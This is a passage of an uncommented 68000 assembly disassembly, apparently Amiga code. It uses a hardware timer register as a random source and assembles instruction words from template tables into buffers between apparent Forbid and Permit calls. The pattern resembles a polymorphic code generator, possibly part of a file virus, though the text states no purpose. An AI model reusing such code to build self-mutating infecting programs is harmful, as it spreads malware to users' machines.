  611.     LSR.L    #2,D0            ;532: E488
  612.     MOVEM.L    D0-D1,4(A4)        ;534: 48EC00030004
  613.     MOVEQ    #21,D0            ;53A: 7015
  614. LAB_0035:
  615.     MOVE    D0,-14(A4)        ;53C: 3940FFF2
  616. LAB_0036:
  617.     MOVEA.L    A5,A1            ;540: 224D
  618.     MOVEA.L    D6,A0            ;542: 2046
  619.     PEA    22(A3)            ;544: 486B0016
  620.     MOVE.L    (A7)+,-20(A4)        ;548: 295FFFEC
  621.     JSR    -366(A6)        ;54C: 4EAEFE92
  622. LAB_0037:
  623.     PEA    22(A3)            ;550: 486B0016
  624.     MOVEA.L    (A7),A0            ;554: 2057
  625.     JSR    -384(A6)        ;556: 4EAEFE80
  626.     MOVEA.L    (A7)+,A0        ;55A: 205F
  627.     JMP    -372(A6)        ;55C: 4EEEFE8C
  628. LAB_0038:
  629.     MOVE.L    116(A2),D1        ;560: 222A0074
  630.     BSR.S    LAB_0034        ;564: 61C0
  631.     ADDA    #$0084,A2        ;566: D4FC0084
  632.     MOVE.L    A2,8(A4)        ;56A: 294A0008
  633.     MOVEQ    #34,D0            ;56E: 7022
  634.     BSR.S    LAB_0035        ;570: 61CA
  635.     MOVE.L    A2,D0            ;572: 200A
  636.     LSR.L    #2,D0            ;574: E488
  637.     ADDQ.L    #3,D0            ;576: 5680
  638.     MOVE.L    D0,8(A4)        ;578: 29400008
  639.     MOVEQ    #28,D0            ;57C: 701C
  640. LAB_0039:
  641.     BRA.S    LAB_0035        ;57E: 60BC
  642. LAB_003A:
  643.     LSR.L    #2,D0            ;580: E488
  644.     MOVE.L    -(A4),D1        ;582: 2224
  645.     LSL.L    #2,D1            ;584: E589
  646.     SUBA.L    A0,A0            ;586: 91C8
  647.     MOVE.L    36(A0,D1.L),(A4)+    ;588: 28F01824
  648.     MOVE.L    (A4),D4            ;58C: 2814
  649.     MOVE.L    D0,(A4)            ;58E: 2880
  650.     MOVE    #$040A,D0        ;590: 303C040A
  651.     BSR.S    LAB_0039        ;594: 61E8
  652.     MOVE.L    D4,-4(A4)        ;596: 2944FFFC
  653.     MOVEQ    #26,D0            ;59A: 701A
  654.     BSR.S    LAB_0039        ;59C: 61E0
  655.     LEA    16(A2),A2        ;59E: 45EA0010
  656.     MOVE.L    (A2),D5            ;5A2: 2A12
  657.     SUB.L    -(A2),D5        ;5A4: 9AA2
  658.     CLR.L    -(A2)            ;5A6: 42A2
  659.     SUBQ.L    #8,A2            ;5A8: 518A
  660.     RTS                ;5AA: 4E75
  661. LAB_003B:
  662.     MOVE.B    EXT_0005,D0        ;5AC: 103900DFF007
  663.     EOR.B    D0,D7            ;5B2: B107
  664.     ROL    #7,D7            ;5B4: EF5F
  665.     MOVE    D7,D0            ;5B6: 3007
  666.     RTS                ;5B8: 4E75
  667. LAB_003C:
  668.     BSR.S    LAB_003B        ;5BA: 61F0
  669.     LSR    #8,D0            ;5BC: E048
  670.     RTS                ;5BE: 4E75
  671. LAB_003D:
  672.     MOVEM.L    D0-D1/D3-D4/D6-D7/A0-A6,-(A7) ;5C0: 48E7DBFE
  673.     BSR.S    LAB_003B        ;5C4: 61E6
  674.     MOVE    D0,-1752(A0)        ;5C6: 3140F928
  675.     MOVE.L    D0,-(A7)        ;5CA: 2F00
  676.     JSR    -132(A6)        ;5CC: 4EAEFF7C
  677.     BSR.S    LAB_003C        ;5D0: 61E8
  678.     LSR.B    #6,D0            ;5D2: EC08
  679.     MOVE    D0,D4            ;5D4: 3800
  680. LAB_003E:
  681.     MOVE    D5,D1            ;5D6: 3205
  682.     LSR    #8,D1            ;5D8: E049
  683.     BSR.S    LAB_003F        ;5DA: 6108
  684.     DC.W    $FB74            ;5DC
  685.     DC.W    $0009            ;5DE
  686.     DC.W    $000B            ;5E0
  687.     DC.W    $0009            ;5E2
  688. LAB_003F:
  689.     MOVEQ    #3,D2            ;5E4: 7403
  690.     MOVEA.L    (A7),A3            ;5E6: 2657
  691.     MOVEA.L    (A7)+,A2        ;5E8: 245F
  692. LAB_0040:
  693.     ADDA    (A2)+,A3        ;5EA: D6DA
  694.     MOVE.B    D1,(A3)+        ;5EC: 16C1
  695.     MOVE.B    D5,(A3)+        ;5EE: 16C5
  696.     DBF    D2,LAB_0040        ;5F0: 51CAFFF8
  697.     LINK    A2,#-138        ;5F4: 4E52FF76
  698.     MOVEA.L    A7,A5            ;5F8: 2A4F
  699.     LEA    18(A5),A4        ;5FA: 49ED0012
  700. LAB_0041:
  701.     MOVEQ    #-64,D1            ;5FE: 72C0
  702.     MOVEQ    #5,D3            ;600: 7605
  703. LAB_0042:
  704.     BSR.S    LAB_003B        ;602: 61A8
  705.     LSR.B    #5,D0            ;604: EA08
  706.     BSET    D0,D1            ;606: 01C1
  707.     BNE.S    LAB_0042        ;608: 66F8
  708.     MOVE.B    D0,-(A2)        ;60A: 1500
  709.     DBF    D3,LAB_0042        ;60C: 51CBFFF4
  710.     ADDQ    #1,D2            ;610: 5242
  711.     BEQ.S    LAB_0041        ;612: 67EA
  712.     CLR.L    -8(A2)            ;614: 42AAFFF8
  713.     MOVEQ    #0,D6            ;618: 7C00
  714. LAB_0043:
  715.     BSR.S    LAB_003B        ;61A: 6190
  716.     MOVE    D0,D2            ;61C: 3400
  717.     ASR    #2,D2            ;61E: E442
  718.     BSR.S    LAB_003C        ;620: 6198
  719.     LSR.B    #4,D0            ;622: E808
  720.     MOVE    D0,D1            ;624: 3200
  721.     SUBQ    #8,D1            ;626: 5141
  722.     BGT.S    LAB_0043        ;628: 6EF0
  723.     LEA    LAB_0007(PC),A3        ;62A: 47FAFB4E
  724.     MOVE.B    8(A3,D1.W),D1        ;62E: 12331008
  725.     EXT    D1            ;632: 4881
  726.     ADDA    D1,A3            ;634: D6C1
  727.     MOVE.B    D6,D3            ;636: 1606
  728.     AND.B    (A3),D3            ;638: C613
  729.     CMP.B    (A3)+,D3        ;63A: B61B
  730.     BNE.S    LAB_0043        ;63C: 66DC
  731.     BSET    D0,D6            ;63E: 01C6
  732.     BNE.S    LAB_0043        ;640: 66D8
  733.     BSR    LAB_003C        ;642: 6100FF76
  734.     LSR.B    #6,D0            ;646: EC08
  735.     MOVE.B    0(A3,D0.W),D0        ;648: 10330000
  736.     ADDA    D0,A3            ;64C: D6C0
  737.     BSR.S    LAB_0048        ;64E: 616C
  738.     MOVE    D6,D0            ;650: 3006
  739.     LSL    #7,D0            ;652: EF48
  740.     BPL.S    LAB_0043        ;654: 6AC4
  741.     MOVEA.L    -(A2),A3        ;656: 2662
  742.     MOVE.L    A4,D0            ;658: 200C
  743.     SUB.L    A3,D0            ;65A: 908B
  744.     ADD    D0,(A3)            ;65C: D153
  745.     MOVE.L    A4,D1            ;65E: 220C
  746.     SUB.L    A5,D1            ;660: 928D
  747.     ADDA    D1,A1            ;662: D2C1
  748.     MOVEA.L    A1,A3            ;664: 2649
  749.     MOVE.L    D5,D6            ;666: 2C05
  750.     ADD    D1,D5            ;668: DA41
  751. LAB_0044:
  752.     MOVE.B    -(A0),D0        ;66A: 1020
  753.     MOVEQ    #2,D3            ;66C: 7602
  754. LAB_0045:
  755.     MOVE    -(A5),D2        ;66E: 3425
  756.     MOVEA.L    -(A5),A2        ;670: 2465
  757.     JSR    (A2)            ;672: 4E92
  758.     DBF    D3,LAB_0045        ;674: 51CBFFF8
  759.     LEA    18(A5),A5        ;678: 4BED0012
  760.     MOVE.B    D0,-(A3)        ;67C: 1700
  761.     DBF    D6,LAB_0044        ;67E: 51CEFFEA
  762.     SUBQ    #1,D1            ;682: 5341
  763. LAB_0046:
  764.     MOVE.B    -(A4),-(A3)        ;684: 1724
  765.     DBF    D1,LAB_0046        ;686: 51C9FFFC
  766.     MOVEA.L    A1,A0            ;68A: 2049
  767.     LEA    142(A7),A7        ;68C: 4FEF008E
  768.     DBF    D4,LAB_003E        ;690: 51CCFF44
  769.     JSR    -138(A6)        ;694: 4EAEFF76
  770.     ADDQ    #7,D5            ;698: 5E45
  771.     LSR    #2,D5            ;69A: E44D
  772.     BCS.S    LAB_0047        ;69C: 6502
  773.     ADDQ    #2,A1            ;69E: 5449
  774. LAB_0047:
  775.     LEA    (EXT_0002).W,A2        ;6A0: 45F803F2
  776.     MOVE.L    A2,(A1)            ;6A4: 228A
  777.     MOVE.L    LAB_000A(PC),-(A3)    ;6A6: 273AFB90
  778.     EXT.L    D5            ;6AA: 48C5
  779.     MOVE.L    D5,-(A3)        ;6AC: 2705
  780.     SUBQ    #8,A2            ;6AE: 514A
  781.     SUBQ    #1,A2            ;6B0: 534A
  782.     MOVE.L    A2,-(A3)        ;6B2: 270A
  783.     MOVE.L    (A7)+,D2        ;6B4: 241F
  784.     MOVEM.L    (A7)+,D0-D1/D3-D4/D6-D7/A0-A6 ;6B6: 4CDF7FDB
  785.     RTS                ;6BA: 4E75
  786. LAB_0048:
  787.     MOVE.B    (A3)+,D0        ;6BC: 101B
  788.     EXT    D0            ;6BE: 4880
  789.     MOVE.B    LAB_004D(PC,D0.W),D0    ;6C0: 103B005E
  790.     EXT    D0            ;6C4: 4880
  791.     JSR    LAB_004D(PC,D0.W)    ;6C6: 4EBB0058
  792.     BRA.S    LAB_0048        ;6CA: 60F0
  793.     MOVE.L    -8(A2),D0        ;6CC: 202AFFF8
  794.     SUB.L    A4,D0            ;6D0: 908C
  795.     MOVE    D0,(A4)+        ;6D2: 38C0
  796.     BRA.S    LAB_004B        ;6D4: 602A
  797. LAB_0049:
  798.     ANDI    #$0007,D2        ;6D6: 02420007
  799.     ADDQ    #1,D2            ;6DA: 5242
  800.     RTS                ;6DC: 4E75
  801.     MOVEQ    #0,D0            ;6DE: 7000
  802.     BRA.S    LAB_004A        ;6E0: 600C
  803.     BSR.S    LAB_0049        ;6E2: 61F2
  804.     MOVE    D2,D0            ;6E4: 3002
  805.     NEG    D0            ;6E6: 4440
  806.     BRA.S    LAB_004A        ;6E8: 6004
  807.     BSR.S    LAB_0049        ;6EA: 61EA
  808.     MOVE    D2,D0            ;6EC: 3002
  809. LAB_004A:
  810.     MOVE.L    A4,-4(A2)        ;6EE: 254CFFFC
  811.     MOVE    D0,(A4)+        ;6F2: 38C0
  812.     RTS                ;6F4: 4E75
  813.     BSR.S    LAB_004E        ;6F6: 6168
  814.     LSL.B    #4,D1            ;6F8: E909
  815.     MOVE.B    D1,(A4)+        ;6FA: 18C1
  816.     MOVE.B    D2,(A4)            ;6FC: 1882
  817.     NEG.B    (A4)+            ;6FE: 441C
  818. LAB_004B:
  819.     ADDQ.L    #4,A7            ;700: 588F
  820.     RTS                ;702: 4E75
  821.     BSR.S    LAB_004E        ;704: 615A
  822.     ROR    #7,D1            ;706: EE59
  823. LAB_004C:
  824.     BSR.S    LAB_004F        ;708: 6160
  825.     OR    D0,D1            ;70A: 8240
  826.     MOVE    D1,(A4)+        ;70C: 38C1
  827.     RTS                ;70E: 4E75
  828.     BSR.S    LAB_004E        ;710: 614E
  829.     BRA.S    LAB_004C        ;712: 60F4
  830.     BSR.S    LAB_004E        ;714: 614A
  831.     ROR    #7,D1            ;716: EE59
  832.     MOVE    D1,D0            ;718: 3001
  833.     BSR.S    LAB_004E        ;71A: 6144
  834.     OR    D0,D1            ;71C: 8240
  835.     BRA.S    LAB_004C        ;71E: 60E8
  836. LAB_004D:
  837.     ASR    -(A4)            ;720: E0E4
  838.     DC.W    $F0F4            ;722
  839.     MOVE.B    (A4),D4            ;724: 1814
  840.     MOVE.L    7894(A2),D1        ;726: 222A1ED6
  841.     DC.W    $ACB6            ;72A
  842.     MOVEA    (A2),A0            ;72C: 3052
  843.     CMPA    A2,A7            ;72E: BECA
  844.     AND    (A6)+,D1        ;730: C25E
  845.     MOVEQ    #0,D1            ;732: 7200
  846.     MOVE.B    (A3)+,(A4)+        ;734: 18DB
  847.     MOVE.B    (A3)+,(A4)+        ;736: 18DB
  848.     MOVE.B    (A3)+,(A4)+        ;738: 18DB
  849.     MOVE.B    (A3)+,(A4)+        ;73A: 18DB
  850.     RTS                ;73C: 4E75
  851.     ASR.B    #1,D2            ;73E: E202
  852.     EXT    D2            ;740: 4882
  853.     BSR.S    LAB_004F        ;742: 6126
  854.     ADD    D2,D0            ;744: D042
  855.     MOVE    D0,(A4)+        ;746: 38C0
  856.     RTS                ;748: 4E75
  857.     MOVE    D2,(A4)            ;74A: 3882
  858.     NEG    (A4)+            ;74C: 445C
  859.     BRA.S    LAB_004B        ;74E: 60B0
  860.     BSR.S    LAB_004E        ;750: 610E
  861.     BSR.S    LAB_004F        ;752: 6116
  862.     MOVE    D0,(A4)            ;754: 3880
  863.     LSL    #5,D2            ;756: EB4A
  864.     LSR    #4,D2            ;758: E84A
  865.     OR.B    D2,(A4)+        ;75A: 851C
  866.     OR.B    D1,(A4)+        ;75C: 831C
  867.     BRA.S    LAB_004B        ;75E: 60A0
  868. LAB_004E:
  869.     MOVEQ    #0,D1            ;760: 7200
  870.     MOVE.B    (A3)+,D1        ;762: 121B
  871.     MOVE.B    0(A2,D1.W),D1        ;764: 12321000
  872.     RTS                ;768: 4E75
  873. LAB_004F:
  874.     MOVE.B    (A3)+,D0        ;76A: 101B
  875.     LSL    #8,D0            ;76C: E148
  876.     MOVE.B    (A3)+,D0        ;76E: 101B
  877.     RTS                ;770: 4E75
  878. LAB_0050:
  879.     TST.L    -8(A2)            ;772: 4AAAFFF8
  880.     BNE.S    LAB_0051        ;776: 6604
  881.     MOVE.L    A4,-8(A2)        ;778: 254CFFF8
  882. LAB_0051:
  883.     RTS                ;77C: 4E75
  884.     BSR.S    LAB_0050        ;77E: 61F2
  885.     MOVE.B    (A3)+,D0        ;780: 101B
  886.     MOVE.B    D0,(A4)+        ;782: 18C0
  887.     MOVE.B    9(A2),(A4)        ;784: 18AA0009
  888.     BSET    #4,(A4)+        ;788: 08DC0004
  889. LAB_0052:
  890.     NOT.B    D2            ;78C: 4602
  891.     BEQ.S    LAB_0052        ;78E: 67FC
  892.     MOVE    D2,(A4)+        ;790: 38C2
  893.     MOVE.B    (A3)+,D1        ;792: 121B
  894.     EXT    D1            ;794: 4881
  895.     PEA    0(A3,D1.W)        ;796: 48731000
  896.     MOVE.L    (A7)+,(A5)+        ;79A: 2ADF
  897.     MOVE    D2,(A5)+        ;79C: 3AC2
  898.     END
  899.